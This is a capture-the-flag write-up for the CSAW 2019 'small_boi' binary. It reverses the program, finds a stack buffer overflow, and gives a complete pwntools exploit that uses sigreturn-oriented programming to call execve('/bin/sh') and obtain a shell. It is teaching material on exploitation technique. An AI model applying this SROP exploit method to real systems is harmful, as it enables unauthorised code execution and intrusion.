Csaw 2019 Smallboi
Let's take a look at the binary:
$ file small_boi
small_boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=070f96f86ab197c06c4a6896c26254cce3d57650, stripped
$ pwn checksec small_boi
[*] '/Hackery/pod/modules/16-srop/csaw19_smallboi/small_boi'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
$ ./small_boi
15935728
So we can see that we are dealing with a 64
bit binary, with NX
. When we run the binary, it prompts us for input.
Reversing
So when we look at the binary in Ghidra, we see some interesting assembly:
//
// .text
// SHT_PROGBITS [0x40017c - 0x4001c9]
// ram: 0040017c-004001c9
//
**************************************************************
* FUNCTION *
**************************************************************
undefined FUN_0040017c()
undefined AL:1 <RETURN>
FUN_0040017c XREF[3]: 004001e0, 00400218(*),
_elfSectionHeaders::00000090(*)
0040017c 55 PUSH RBP
0040017d 48 89 e5 MOV RBP,RSP
00400180 b8 0f 00 MOV EAX,0xf
00 00
00400185 0f 05 SYSCALL
00400187 90 NOP
00400188 5d POP RBP
00400189 c3 RET
0040018a 58 ?? 58h X
0040018b c3 ?? C3h
**************************************************************
* FUNCTION *
**************************************************************
undefined FUN_0040018c()
undefined AL:1 <RETURN>
undefined1 Stack[-0x28]:1 local_28 XREF[1]: 00400190(*)
FUN_0040018c XREF[3]: entry:004001b6(c), 004001e8,
00400238(*)
0040018c 55 PUSH RBP
0040018d 48 89 e5 MOV RBP,RSP
00400190 48 8d 45 e0 LEA RAX=>local_28,[RBP + -0x20]
00400194 48 89 c6 MOV RSI,RAX
00400197 48 31 c0 XOR RAX,RAX
0040019a 48 31 ff XOR RDI,RDI
0040019d 48 c7 c2 MOV RDX,0x200
00 02 00 00
004001a4 0f 05 SYSCALL
004001a6 b8 00 00 MOV EAX,0x0
00 00
004001ab 5d POP RBP
004001ac c3 RET
**************************************************************
* FUNCTION *
**************************************************************
undefined entry()
undefined AL:1 <RETURN>
entry XREF[4]: Entry Point(*), 00400018(*),
004001f0, 00400258(*)
004001ad 55 PUSH RBP
004001ae 48 89 e5 MOV RBP,RSP
004001b1 b8 00 00 MOV EAX,0x0
00 00
004001b6 e8 d1 ff CALL FUN_0040018c undefined FUN_0040018c()
ff ff
004001bb 48 31 f8 XOR RAX,RDI
004001be 48 c7 c0 MOV RAX,0x3c
3c 00 00 00
004001c5 0f 05 SYSCALL
004001c7 90 NOP
004001c8 5d POP RBP
004001c9 c3 RET
//
// .rodata
// SHT_PROGBITS [0x4001ca - 0x4001d1]
// ram: 004001ca-004001d1
//
s_/bin/sh_004001ca XREF[1]: _elfSectionHeaders::000000d0(*)
004001ca 2f 62 69 ds "/bin/sh"
6e 2f 73
68 00
So we see a small amount of assembly instructions. We see that it starts at 0x4001ad
, which it then calls the 0x40018c
function. We see that that code there will make a read syscall, which will scan in 0x200
bytes worth of data. Looking at the layout of the stack (or just checking out the memory in gdb), we see that after 0x28
bytes of input from that read syscall we overwrite the return address. So we have a buffer overflow.
Exploitation
So we can get code execution. The problem now is what code will we execute? The binary has very little instructions with it, and isn't linked with libc:
gef⤠vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /Hackery/pod/modules/16-srop/csaw19_smallboi/small_boi
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /Hackery/pod/modules/16-srop/csaw19_smallboi/small_boi
0x00007ffff7ffb000 0x00007ffff7ffe000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
In addition to that, the Stack is not executable. However there is a function that will help us:
//
// .text
// SHT_PROGBITS [0x40017c - 0x4001c9]
// ram: 0040017c-004001c9
//
**************************************************************
* FUNCTION *
**************************************************************
undefined FUN_0040017c()
undefined AL:1 <RETURN>
FUN_0040017c XREF[3]: 004001e0, 00400218(*),
_elfSectionHeaders::00000090(*)
0040017c 55 PUSH RBP
0040017d 48 89 e5 MOV RBP,RSP
00400180 b8 0f 00 MOV EAX,0xf
00 00
00400185 0f 05 SYSCALL
00400187 90 NOP
00400188 5d POP RBP
00400189 c3 RET
0040018a 58 ?? 58h X
0040018b c3 ?? C3h
This will make a sigreturn call, where the input is what is on the stack. What we can do is call this function, and provide a sigreturn frame as the input. This will allow us to perform an SROP attack. When we do this, the stack will shift by 0x8
bytes so we will need to account for that in our exploit.
Now for the SROP attack, we will make a syscall to execve("/bin/sh", NULL, NULL)
. Luckily for us, the string /bin/sh
is in the binary at 0x4001ca
:
//
// .rodata
// SHT_PROGBITS [0x4001ca - 0x4001d1]
// ram: 004001ca-004001d1
//
s_/bin/sh_004001ca XREF[1]: _elfSectionHeaders::000000d0(*)
004001ca 2f 62 69 ds "/bin/sh"
6e 2f 73
68 00
That is everything we need to write the exploit.
Exploit
Putting it all together, we have the following exploit:
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
When we run it:
$ python exploit.py
[+] Starting local process './small_boi': pid 3434
[*] Switching to interactive mode
$ w
21:17:05 up 16 min, 1 user, load average: 0.12, 0.19, 0.28
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
guyinatu :0 :0 21:00 ?xdm? 51.68s 0.01s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --session=ubuntu
$ ls
exploit.py readme.md small_boi
$